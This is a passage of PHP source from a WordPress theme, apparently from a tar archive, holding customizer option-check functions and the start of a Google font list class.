        if ( $theme_options[ 'navi_bot_bd_enb' ] ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if item border is enabled */
if ( ! function_exists( 'pmthemes_navi_item_border_enabled' ) ) :
    function pmthemes_navi_item_border_enabled() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'navi_border_enable' ] ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if dropdown border is enabled */
if ( ! function_exists( 'pmthemes_dropdown_border_enabled' ) ) :
    function pmthemes_dropdown_border_enabled() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'navi_dropdown_noborder' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if Title Shadow is active */
if ( ! function_exists( 'pmthemes_site_title_shadow_active' ) ) :
    function pmthemes_site_title_shadow_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'site_title_shadis' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if site tagline is active */
if ( ! function_exists( 'pmthemes_site_tagline_active' ) ) :
    function pmthemes_site_tagline_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'header_tagline' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if top bar is active */
if ( ! function_exists( 'pmthemes_top_bar_active' ) ) :
    function pmthemes_top_bar_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'topbar_show' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if header gradient is enabled*/
if ( ! function_exists( 'pmthemes_header_gradient_active' ) ) :
    function pmthemes_header_gradient_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'header_gradient_enable' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if sidebar gradient is enabled*/
if ( ! function_exists( 'pmthemes_sidebar_gradient_active' ) ) :
    function pmthemes_sidebar_gradient_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'sidebar_gradient_enable' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if footer widget gradient is enabled*/
if ( ! function_exists( 'pmthemes_fwidget_gradient_active' ) ) :
    function pmthemes_fwidget_gradient_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'fwidget_gradient_enable' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if header top border settings is active */
if ( ! function_exists( 'pmthemes_header_top_border_active' ) ) :
    function pmthemes_header_top_border_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'header_top_border_enable' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if header bottom border settings is active */
if ( ! function_exists( 'pmthemes_header_bottom_border_active' ) ) :
    function pmthemes_header_bottom_border_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'header_bottom_border_enable' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if wide header is selected */
if ( ! function_exists( 'pmthemes_wide_header_active' ) ) :
    function pmthemes_wide_header_active() {
        if ( ! function_exists( 'pmthemes_default_options' ) ) {
            return false;
        }
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        return ( 'wide-head' == $theme_options[ 'theme_style' ] );
    }
endif;
/* Check to see if top border color is active - enable type */
if ( ! function_exists( 'pmthemes_header_top_border_activxxx' ) ) :
    function pmthemes_header_top_border_activated() {
        if ( ! function_exists( 'pmthemes_default_options' ) ) {
            return false;
        }
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        return ( 'enable' == $theme_options[ 'header_topbo' ] ) ? true : false;
    }
endif;
/* Check to see excerpt on archive is selected */
if ( ! function_exists( 'pmthemes_archive_excerpt_length' ) ) :
    function pmthemes_archive_excerpt_length() {
        if ( ! function_exists( 'pmthemes_default_options' ) ) {
            return false;
        }
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        return ( 'excerpt' == $theme_options[ 'posts_length' ] );
    }
endif;
/* Check to see if Widget Header Styling is active  */
if ( ! function_exists( 'pmthemes_widget_header_style_active' ) ) :
    function pmthemes_widget_header_style_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'widget_header_styling' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if Frontpage Header Styling is active  */
if ( ! function_exists( 'pmthemes_frontpage_header_style_active' ) ) :
    function pmthemes_frontpage_header_style_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'frontpage_header_style' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if slider content is active  */
if ( ! function_exists( 'pmthemes_show_slider_content_active' ) ) :
    function pmthemes_show_slider_content_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'show_slider_content' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if sidebar border is enabled  */
if ( ! function_exists( 'pmthemes_sidebar_border_active' ) ) :
    function pmthemes_sidebar_border_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'show_sidebar_border' ] ) {
            return false;
        }
        return true;
    }
endif;

/* Check to see if grid column option is active  */
if ( ! function_exists( 'pmthemes_pmth_grid_coln_active' ) ) :
    function pmthemes_pmth_grid_coln_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'pmth_grid_col_opt' ] == 'pmth-grid-coln') {
            return true;
        }
        return false;
    }
endif;

/* Check to see if grid item width option is active  */
if ( ! function_exists( 'pmthemes_pmth_grid_itemw_active' ) ) :
    function pmthemes_pmth_grid_itemw_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'pmth_grid_col_opt' ] == 'pmth-grid-itmw') {
            return true;
        }
        return false;
    }
endif;
/* Check to see if archive image is active */
if ( ! function_exists( 'pmthemes_archive_images_active' ) ) :
    function pmthemes_archive_images_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'post_thumbnails_index' ] ) {
            return false;
        }
        return true;
    }
endif;
/* Check to see if scroll to top is active */
if ( ! function_exists( 'pmthemes_scroll_top_active' ) ) :
    function pmthemes_scroll_top_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'link_to_top' ] ) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if comment is open and if is single */
if ( ! function_exists( 'pmthemes_comment_btn_active' ) ) :
    function pmthemes_comment_btn_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( ! $theme_options[ 'hide_post_comment' ] and is_single ()) {
            return true;
        }
        return false;
    }
endif;
/* Check to see if slider is active */
if ( ! function_exists( 'pmthemes_post_slider_active' ) ) :
    function pmthemes_post_slider_active() {
        $theme_options = wp_parse_args( get_option( 'pmthemes_theme_options', array() ),
            pmthemes_default_options()
        );
        if ( $theme_options[ 'slider_activated_front_page' ] ) {
            return true;
        }
        return false;
    }
endif;pmgizmo/inc/customizer/functions/custom-font-lists.php000064400000076250152223213640017350 0ustar00<?php
/* Get Google Font Lists */
if ( ! defined( 'ABSPATH' ) ) {
    exit; // Exit if accessed directly.
}
class Pmthemes_Custom_Font_Lists {
	public static function get_fonts($type) {			
		// Set Fonts Array
		$fonts = array();
		// Set available font list depending on user setting
		switch($type):
			case 'all':
				$fonts = Pmthemes_Custom_Font_Lists::all_google_fonts();
			break;
			case 'popular':
				$fonts = Pmthemes_Custom_Font_Lists::popular_google_fonts();
			break;
			case 'default':
				$fonts = Pmthemes_Custom_Font_Lists::default_browser_fonts();
			break;
			default:
				$fonts = Pmthemes_Custom_Font_Lists::favorite_google_fonts();
			break;
		endswitch;
		
		// Get Theme Options
		$theme_options = pmthemes_theme_options();
		// Get Default Fonts from settings
		$default_options = pmthemes_default_options();
		
		// Add current selected fonts to array in any case
		if ( isset($theme_options['text_font']) and ! in_array( $theme_options['text_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['text_font'])] = esc_attr(trim($theme_options['text_font']));
		endif;
		if ( isset($theme_options['site_title_font']) and ! in_array( $theme_options['site_title_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['site_title_font'])] = esc_attr(trim($theme_options['site_title_font']));
		endif;
		if ( isset($theme_options['title_font']) and ! in_array( $theme_options['title_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['title_font'])] = esc_attr(trim($theme_options['title_font']));
		endif;
		if ( isset($theme_options['navi_font']) and ! in_array( $theme_options['navi_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['navi_font'])] = esc_attr(trim($theme_options['navi_font']));
		endif;
		if ( isset($theme_options['widget_title_font']) and ! in_array( $theme_options['widget_title_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['widget_title_font'])] = esc_attr(trim($theme_options['widget_title_font']));
		endif;
		
		// Add default fonts to array in any case
		if ( isset($default_options['text_font']) and ! in_array( $default_options['text_font'], $fonts, true ) ) :
			$fonts[trim($default_options['text_font'])] = esc_attr(trim($default_options['text_font']));
		endif;
		if ( isset($theme_options['site_title_font']) and ! in_array( $theme_options['site_title_font'], $fonts, true ) ) :
			$fonts[trim($theme_options['site_title_font'])] = esc_attr(trim($theme_options['site_title_font']));
		endif;
		if ( isset($default_options['title_font']) and ! in_array( $default_options['title_font'], $fonts, true ) ) :
			$fonts[trim($default_options['title_font'])] = esc_attr(trim($default_options['title_font']));
		endif;
		if ( isset($default_options['navi_font']) and ! in_array( $default_options['navi_font'], $fonts, true ) ) :
			$fonts[trim($default_options['navi_font'])] = esc_attr(trim($default_options['navi_font']));
		endif;
		if ( isset($default_options['widget_title_font']) and ! in_array( $default_options['widget_title_font'], $fonts, true ) ) :
			$fonts[trim($default_options['widget_title_font'])] = esc_attr(trim($default_options['widget_title_font']));
		endif;
		// Sort fonts alphabetically
		asort($fonts);
		return $fonts;
	}
	public static function default_browser_fonts() {
		$fonts = array(
			'Arial' => 'Arial',
			'Arial Black' => 'Arial Black',
			'Courier' => 'Courier',
			'Courier New' => 'Courier New',
			'Franklin Gothic Medium' => 'Franklin Gothic Medium',
			'Georgia' => 'Georgia',
			'Helvetica' => 'Helvetica',
			'Impact' => 'Impact',
			'Lucida Console' => 'Lucida Console',
			'Tahoma' => 'Tahoma',
			'Times New Roman' => 'Times New Roman',
			'Verdana' => 'Verdana'
		);	
		return $fonts;
	}
	private static function favorite_google_fonts() {
		$fonts = array(
			'Arimo' => 'Arimo',
			'Bitter' => 'Bitter',
			'Carme' => 'Carme',
			'Coming Soon' => 'Coming Soon',
			'Crimson Text' => 'Crimson Text',
			'Cuprum' => 'Cuprum',
			'Dosis' => 'Dosis',
			'Droid Sans' => 'Droid Sans',
			'Exo' => 'Exo',
			'Fjalla One' => 'Fjalla One',
			'Francois One' => 'Francois One',
			'Hammersmith One' => 'Hammersmith One',
			'Istok Web' => 'Istok Web',
			'Jockey One' => 'Jockey One',
			'Josefin Slab' => 'Josefin Slab',
			'Lato' => 'Lato',
			'Lobster' => 'Lobster',
			'Marvel' => 'Marvel',
			'Maven Pro' => 'Maven Pro',
			'Modern Antiqua' => 'Modern Antiqua',
			'Muli' => 'Muli',
			'Nobile' => 'Nobile',
			'Noto Serif' => 'Noto Serif',
			'Open Sans' => 'Open Sans',
			'Oswald' => 'Oswald',
			'PT Serif' => 'PT Serif',
			'Raleway' => 'Raleway',
			'Roboto' => 'Roboto',
			'Share' => 'Share',
			'Slabo 27px' => 'Slabo 27px',
			'Source Sans Pro' => 'Source Sans Pro',
			'Tinos' => 'Tinos',
			'Ubuntu' => 'Ubuntu',
			'Vollkorn' => 'Vollkorn',
			'Yanone Kaffeesatz' => 'Yanone Kaffeesatz'
		);
		return $fonts;
	}
	private static function popular_google_fonts() {
		$fonts = array(
			'Abel' => 'Abel',
			'Alegreya' => 'Alegreya',
			'Anton' => 'Anton',
			'Architects Daughter' => 'Architects Daughter',
			'Archivo Narrow' => 'Archivo Narrow',
			'Arimo' => 'Arimo',
			'Armata' => 'Armata',
			'Arvo' => 'Arvo',
			'Asap' => 'Asap',
			'Bangers' => 'Bangers',
			'BenchNine' => 'BenchNine',
			'Bitter' => 'Bitter',
			'Bree Serif' => 'Bree Serif',
			'Cabin Condensed' => 'Cabin Condensed',
			'Cabin' => 'Cabin',
			'Changa One' => 'Changa One',
			'Chewy' => 'Chewy',
			'Coming Soon' => 'Coming Soon',
			'Courgette' => 'Courgette',
			'Crete Round' => 'Crete Round',
			'Crimson Text' => 'Crimson Text',
			'Cuprum' => 'Cuprum',
			'Dancing Script' => 'Dancing Script',
			'Didact Gothic' => 'Didact Gothic',
			'Dosis' => 'Dosis',
			'Droid Sans' => 'Droid Sans',
			'Droid Serif' => 'Droid Serif',
			'Exo 2' => 'Exo 2',
			'Exo' => 'Exo',
			'Fira Sans' => 'Fira Sans',
			'Fjalla One' => 'Fjalla One',
			'Francois One' => 'Francois One',
			'Glegoo' => 'Glegoo',
			'Gloria Hallelujah' => 'Gloria Hallelujah',
			'Gudea' => 'Gudea',
			'Hammersmith One' => 'Hammersmith One',
			'Inconsolata' => 'Inconsolata',
			'Indie Flower' => 'Indie Flower',
			'Istok Web' => 'Istok Web',
			'Josefin Sans' => 'Josefin Sans',
			'Josefin Slab' => 'Josefin Slab',
			'Karla' => 'Karla',
			'Kreon' => 'Kreon',
			'Lato' => 'Lato',
			'Libre Baskerville' => 'Libre Baskerville',
			'Lobster Two' => 'Lobster Two',
			'Lobster' => 'Lobster',
			'Lora' => 'Lora',
			'Marck Script' => 'Marck Script',
			'Marvel' => 'Marvel',
			'Maven Pro' => 'Maven Pro',
			'Merriweather Sans' => 'Merriweather Sans',
			'Merriweather' => 'Merriweather',
			'Monda' => 'Monda',
			'Montserrat' => 'Montserrat',
			'Muli' => 'Muli',
			'News Cycle' => 'News Cycle',
			'Noticia Text' => 'Noticia Text',
			'Noto Sans' => 'Noto Sans',
			'Noto Serif' => 'Noto Serif',
			'Nunito' => 'Nunito',
			'Open Sans Condensed' => 'Open Sans Condensed',
			'Open Sans' => 'Open Sans',
			'Oswald' => 'Oswald',
			'Oxygen' => 'Oxygen',
			'Pacifico' => 'Pacifico',
			'Pathway Gothic One' => 'Pathway Gothic One',
			'Play' => 'Play',
			'Playfair Display SC' => 'Playfair Display SC',
			'Playfair Display' => 'Playfair Display',
			'Poiret One' => 'Poiret One',
			'Pontano Sans' => 'Pontano Sans',
			'PT Sans Caption' => 'PT Sans Caption',
			'PT Sans Narrow' => 'PT Sans Narrow',
			'PT Sans' => 'PT Sans',
			'PT Serif' => 'PT Serif',
			'Quattrocento Sans' => 'Quattrocento Sans',
			'Questrial' => 'Questrial',
			'Quicksand' => 'Quicksand',
			'Raleway' => 'Raleway',
			'Righteous' => 'Righteous',
			'Roboto Condensed' => 'Roboto Condensed',
			'Roboto Slab' => 'Roboto Slab',
			'Roboto' => 'Roboto',
			'Rokkitt' => 'Rokkitt',
			'Ropa Sans' => 'Ropa Sans',
			'Sanchez' => 'Sanchez',
			'Shadows Into Light' => 'Shadows Into Light',
			'Sigmar One' => 'Sigmar One',
			'Signika' => 'Signika',
			'Slabo 13px' => 'Slabo 13px',
			'Slabo 27px' => 'Slabo 27px',
			'Source Sans Pro' => 'Source Sans Pro',
			'Tinos' => 'Tinos',
			'Titillium Web' => 'Titillium Web',
			'Ubuntu Condensed' => 'Ubuntu Condensed',
			'Ubuntu' => 'Ubuntu',
			'Varela Round' => 'Varela Round',
			'Vollkorn' => 'Vollkorn',
			'Yanone Kaffeesatz' => 'Yanone Kaffeesatz'
		);
		return $fonts;
	}
	private static function all_google_fonts() {
		$fonts = array(
			'ABeeZee' => 'ABeeZee',
			'Abel' => 'Abel',
			'Abril' => 'Abril',
			'Aclonica' => 'Aclonica',
			'Acme' => 'Acme',
			'Actor' => 'Actor',
			'Adamina' => 'Adamina',
			'Advent Pro' => 'Advent Pro',
			'Aguafina Script' => 'Aguafina Script',
			'Akronim' => 'Akronim',
			'Aladin' => 'Aladin',
			'Aldrich' => 'Aldrich',
			'Alef' => 'Alef',
			'Alegreya' => 'Alegreya',
			'Alegreya SC' => 'Alegreya SC',
			'Alegreya Sans' => 'Alegreya Sans',
			'Alegreya Sans SC' => 'Alegreya Sans SC',
			'Alex Brush' => 'Alex Brush',
			'Alfa Slab One' => 'Alfa Slab One',
			'Alice' => 'Alice',
			'Alike' => 'Alike',
			'Alike Angular' => 'Alike Angular',
			'Allan' => 'Allan',
			'Allerta' => 'Allerta',
			'Allerta Stencil' => 'Allerta Stencil',
			'Allura' => 'Allura',
			'Almendra' => 'Almendra',
			'Almendra Display' => 'Almendra Display',
			'Almendra SC' => 'Almendra SC',
			'Amarante' => 'Amarante',
			'Amaranth' => 'Amaranth',
			'Amatic SC' => 'Amatic SC',
			'Amethysta' => 'Amethysta',
			'Anaheim' => 'Anaheim',
			'Andada' => 'Andada',
			'Andika' => 'Andika',
			'Angkor' => 'Angkor',
			'Annie Use Your Telescope' => 'Annie Use Your Telescope',
			'Anonymous Pro' => 'Anonymous Pro',
			'Antic' => 'Antic',
			'Antic Didone' => 'Antic Didone',
			'Antic Slab' => 'Antic Slab',
			'Anton' => 'Anton',
			'Arapey' => 'Arapey',
			'Arbutus' => 'Arbutus',
			'Arbutus Slab' => 'Arbutus Slab',
			'Architects Daughter' => 'Architects Daughter',
			'Archivo Black' => 'Archivo Black',
			'Archivo Narrow' => 'Archivo Narrow',
			'Arimo' => 'Arimo',
			'Arizonia' => 'Arizonia',
			'Armata' => 'Armata',
			'Artifika' => 'Artifika',
			'Arvo' => 'Arvo',
			'Asap' => 'Asap',
			'Asset' => 'Asset',
			'Astloch' => 'Astloch',
			'Asul' => 'Asul',
			'Atomic Age' => 'Atomic Age',
			'Aubrey' => 'Aubrey',
			'Audiowide' => 'Audiowide',
			'Autour One' => 'Autour One',
			'Average' => 'Average',
			'Average Sans' => 'Average Sans',
			'Averia Gruesa Libre' => 'Averia Gruesa Libre',
			'Averia Libre' => 'Averia Libre',
			'Averia Sans Libre' => 'Averia Sans Libre',
			'Averia Serif Libre' => 'Averia Serif Libre',
			'Bad Script' => 'Bad Script',
			'Balthazar' => 'Balthazar',
			'Bangers' => 'Bangers',
			'Basic' => 'Basic',
			'Battambang' => 'Battambang',
			'Baumans' => 'Baumans',
			'Bayon' => 'Bayon',
			'Belgrano' => 'Belgrano',
			'Belleza' => 'Belleza',
			'BenchNine' => 'BenchNine',
			'Bentham' => 'Bentham',
			'Berkshire Swash' => 'Berkshire Swash',
			'Bevan' => 'Bevan',
			'Bigelow Rules' => 'Bigelow Rules',
			'Bigshot One' => 'Bigshot One',
			'Bilbo' => 'Bilbo',
			'Bilbo Swash Caps' => 'Bilbo Swash Caps',
			'Bitter' => 'Bitter',
			'Black Ops One' => 'Black Ops One',
			'Bokor' => 'Bokor',
			'Bonbon' => 'Bonbon',
			'Boogaloo' => 'Boogaloo',
			'Bowlby One' => 'Bowlby One',
			'Bowlby One SC' => 'Bowlby One SC',
			'Brawler' => 'Brawler',
			'Bree Serif' => 'Bree Serif',
			'Bubblegum Sans' => 'Bubblegum Sans',
			'Bubbler One' => 'Bubbler One',
			'Buda' => 'Buda',
			'Buenard' => 'Buenard',
			'Butcherman' => 'Butcherman',
			'Butterfly Kids' => 'Butterfly Kids',
			'Cabin' => 'Cabin',
			'Cabin Condensed' => 'Cabin Condensed',
			'Cabin Sketch' => 'Cabin Sketch',
			'Caesar Dressing' => 'Caesar Dressing',
			'Cagliostro' => 'Cagliostro',
			'Calligraffitti' => 'Calligraffitti',
			'Cambo' => 'Cambo',
			'Candal' => 'Candal',
			'Cantarell' => 'Cantarell',
			'Cantata One' => 'Cantata One',
			'Cantora One' => 'Cantora One',
			'Capriola' => 'Capriola',
			'Cardo' => 'Cardo',
			'Carme' => 'Carme',
			'Carrois Gothic' => 'Carrois Gothic',
			'Carrois Gothic SC' => 'Carrois Gothic SC',
			'Carter One' => 'Carter One',
			'Caudex' => 'Caudex',
			'Cedarville Cursive' => 'Cedarville Cursive',
			'Ceviche One' => 'Ceviche One',
			'Changa One' => 'Changa One',
			'Chango' => 'Chango',
			'Chau Philomene One' => 'Chau Philomene One',
			'Chela One' => 'Chela One',
			'Chelsea Market' => 'Chelsea Market',
			'Chenla' => 'Chenla',
			'Cherry Cream Soda' => 'Cherry Cream Soda',
			'Cherry Swash' => 'Cherry Swash',
			'Chewy' => 'Chewy',
			'Chicle' => 'Chicle',
			'Chivo' => 'Chivo',
			'Cinzel' => 'Cinzel',
			'Cinzel Decorative' => 'Cinzel Decorative',
			'Clicker Script' => 'Clicker Script',
			'Coda' => 'Coda',
			'Coda Caption' => 'Coda Caption',
			'Codystar' => 'Codystar',
			'Combo' => 'Combo',
			'Comfortaa' => 'Comfortaa',
			'Coming Soon' => 'Coming Soon',
			'Concert One' => 'Concert One',
			'Condiment' => 'Condiment',
			'Content' => 'Content',
			'Contrail One' => 'Contrail One',
			'Convergence' => 'Convergence',
			'Cookie' => 'Cookie',
			'Copse' => 'Copse',
			'Corben' => 'Corben',
			'Courgette' => 'Courgette',
			'Cousine' => 'Cousine',
			'Coustard' => 'Coustard',
			'Covered By Your Grace' => 'Covered By Your Grace',
			'Crafty Girls' => 'Crafty Girls',
			'Creepster' => 'Creepster',
			'Crete Round' => 'Crete Round',
			'Crimson Text' => 'Crimson Text',
			'Croissant One' => 'Croissant One',
			'Crushed' => 'Crushed',
			'Cuprum' => 'Cuprum',
			'Cutive' => 'Cutive',
			'Cutive Mono' => 'Cutive Mono',
			'Damion' => 'Damion',
			'Dancing Script' => 'Dancing Script',
			'Dangrek' => 'Dangrek',
			'Dawning of a New Day' => 'Dawning of a New Day',
			'Days One' => 'Days One',
			'Delius' => 'Delius',
			'Delius Swash Caps' => 'Delius Swash Caps',
			'Delius Unicase' => 'Delius Unicase',
			'Della Respira' => 'Della Respira',
			'Denk One' => 'Denk One',
			'Devonshire' => 'Devonshire',
			'Dhurjati' => 'Dhurjati',
			'Didact Gothic' => 'Didact Gothic',
			'Diplomata' => 'Diplomata',
			'Diplomata SC' => 'Diplomata SC',
			'Domine' => 'Domine',
			'Donegal One' => 'Donegal One',
			'Doppio One' => 'Doppio One',
			'Dorsa' => 'Dorsa',
			'Dosis' => 'Dosis',
			'Dr Sugiyama' => 'Dr Sugiyama',
			'Droid Sans' => 'Droid Sans',
			'Droid Sans Mono' => 'Droid Sans Mono',
			'Droid Serif' => 'Droid Serif',
			'Duru Sans' => 'Duru Sans',
			'Dynalight' => 'Dynalight',
			'EB Garamond' => 'EB Garamond',
			'Eagle Lake' => 'Eagle Lake',
			'Eater' => 'Eater',
			'Economica' => 'Economica',
			'Ek Mukta' => 'Ek Mukta',
			'Electrolize' => 'Electrolize',
			'Elsie' => 'Elsie',
			'Elsie Swash Caps' => 'Elsie Swash Caps',
			'Emblema One' => 'Emblema One',
			'Emilys Candy' => 'Emilys Candy',
			'Engagement' => 'Engagement',
			'Englebert' => 'Englebert',
			'Enriqueta' => 'Enriqueta',
			'Erica One' => 'Erica One',
			'Esteban' => 'Esteban',
			'Euphoria Script' => 'Euphoria Script',
			'Ewert' => 'Ewert',
			'Exo' => 'Exo',
			'Exo 2' => 'Exo 2',
			'Expletus Sans' => 'Expletus Sans',
			'Fanwood Text' => 'Fanwood Text',
			'Fascinate' => 'Fascinate',
			'Fascinate Inline' => 'Fascinate Inline',
			'Faster One' => 'Faster One',
			'Fasthand' => 'Fasthand',
			'Fauna One' => 'Fauna One',
			'Federant' => 'Federant',
			'Federo' => 'Federo',
			'Felipa' => 'Felipa',
			'Fenix' => 'Fenix',
			'Finger Paint' => 'Finger Paint',
			'Fira Mono' => 'Fira Mono',
			'Fira Sans' => 'Fira Sans',
			'Fjalla One' => 'Fjalla One',
			'Fjord One' => 'Fjord One',
			'Flamenco' => 'Flamenco',
			'Flavors' => 'Flavors',
			'Fondamento' => 'Fondamento',
			'Fontdiner Swanky' => 'Fontdiner Swanky',
			'Forum' => 'Forum',
			'Francois One' => 'Francois One',
			'Freckle Face' => 'Freckle Face',
			'Fredericka the Great' => 'Fredericka the Great',
			'Fredoka One' => 'Fredoka One',
			'Freehand' => 'Freehand',
			'Fresca' => 'Fresca',
			'Frijole' => 'Frijole',
			'Fruktur' => 'Fruktur',
			'Fugaz One' => 'Fugaz One',
			'GFS Didot' => 'GFS Didot',
			'GFS Neohellenic' => 'GFS Neohellenic',
			'Gabriela' => 'Gabriela',
			'Gafata' => 'Gafata',
			'Galdeano' => 'Galdeano',
			'Galindo' => 'Galindo',
			'Gentium Basic' => 'Gentium Basic',
			'Gentium Book Basic' => 'Gentium Book Basic',
			'Geo' => 'Geo',
			'Geostar' => 'Geostar',
			'Geostar Fill' => 'Geostar Fill',
			'Germania One' => 'Germania One',
			'Gidugu' => 'Gidugu',
			'Gilda Display' => 'Gilda Display',
			'Give You Glory' => 'Give You Glory',
			'Glass Antiqua' => 'Glass Antiqua',
			'Glegoo' => 'Glegoo',
			'Gloria Hallelujah' => 'Gloria Hallelujah',
			'Goblin One' => 'Goblin One',
			'Gochi Hand' => 'Gochi Hand',
			'Gorditas' => 'Gorditas',
			'Goudy Bookletter 1911' => 'Goudy Bookletter 1911',
			'Graduate' => 'Graduate',
			'Grand Hotel' => 'Grand Hotel',
			'Gravitas One' => 'Gravitas One',
			'Great Vibes' => 'Great Vibes',
			'Griffy' => 'Griffy',
			'Gruppo' => 'Gruppo',
			'Gudea' => 'Gudea',
			'Gurajada' => 'Gurajada',
			'Habibi' => 'Habibi',
			'Halant' => 'Halant',
			'Hammersmith One' => 'Hammersmith One',
			'Hanalei' => 'Hanalei',
			'Hanalei Fill' => 'Hanalei Fill',
			'Handlee' => 'Handlee',
			'Hanuman' => 'Hanuman',
			'Happy Monkey' => 'Happy Monkey',
			'Headland One' => 'Headland One',
			'Henny Penny' => 'Henny Penny',
			'Herr Von Muellerhoff' => 'Herr Von Muellerhoff',
			'Hind' => 'Hind',
			'Holtwood One SC' => 'Holtwood One SC',
			'Homemade Apple' => 'Homemade Apple',
			'Homenaje' => 'Homenaje',
			'IM Fell DW Pica' => 'IM Fell DW Pica',
			'IM Fell DW Pica SC' => 'IM Fell DW Pica SC',
			'IM Fell Double Pica' => 'IM Fell Double Pica',
			'IM Fell Double Pica SC' => 'IM Fell Double Pica SC',
			'IM Fell English' => 'IM Fell English',
			'IM Fell English SC' => 'IM Fell English SC',
			'IM Fell French Canon' => 'IM Fell French Canon',
			'IM Fell French Canon SC' => 'IM Fell French Canon SC',
			'IM Fell Great Primer' => 'IM Fell Great Primer',
			'IM Fell Great Primer SC' => 'IM Fell Great Primer SC',
			'Iceberg' => 'Iceberg',
			'Iceland' => 'Iceland',
			'Imprima' => 'Imprima',
			'Inconsolata' => 'Inconsolata',
			'Inder' => 'Inder',
			'Indie Flower' => 'Indie Flower',
			'Inika' => 'Inika',
			'Irish Grover' => 'Irish Grover',
			'Istok Web' => 'Istok Web',
			'Italiana' => 'Italiana',
			'Italianno' => 'Italianno',
			'Jacques Francois' => 'Jacques Francois',
			'Jacques Francois Shadow' => 'Jacques Francois Shadow',
			'Jim Nightshade' => 'Jim Nightshade',
			'Jockey One' => 'Jockey One',
			'Jolly Lodger' => 'Jolly Lodger',
			'Josefin Sans' => 'Josefin Sans',
			'Josefin Slab' => 'Josefin Slab',
			'Joti One' => 'Joti One',
			'Judson' => 'Judson',
			'Julee' => 'Julee',
			'Julius Sans One' => 'Julius Sans One',
			'Junge' => 'Junge',
			'Jura' => 'Jura',
			'Just Another Hand' => 'Just Another Hand',
			'Just Me Again Down Here' => 'Just Me Again Down Here',
			'Kalam' => 'Kalam',
			'Kameron' => 'Kameron',
			'Kantumruy' => 'Kantumruy',
			'Karla' => 'Karla',
			'Karma' => 'Karma',
			'Kaushan Script' => 'Kaushan Script',
			'Kavoon' => 'Kavoon',
			'Kdam Thmor' => 'Kdam Thmor',
			'Keania One' => 'Keania One',
			'Kelly Slab' => 'Kelly Slab',
			'Kenia' => 'Kenia',
			'Khand' => 'Khand',
			'Khmer' => 'Khmer',
			'Kite One' => 'Kite One',
			'Knewave' => 'Knewave',
			'Kotta One' => 'Kotta One',
			'Koulen' => 'Koulen',
			'Kranky' => 'Kranky',
			'Kreon' => 'Kreon',
			'Kristi' => 'Kristi',
			'Krona One' => 'Krona One',
			'La Belle Aurore' => 'La Belle Aurore',
			'Laila' => 'Laila',
			'Lakki Reddy' => 'Lakki Reddy',
			'Lancelot' => 'Lancelot',
			'Lato' => 'Lato',
			'League Script' => 'League Script',
			'Leckerli One' => 'Leckerli One',
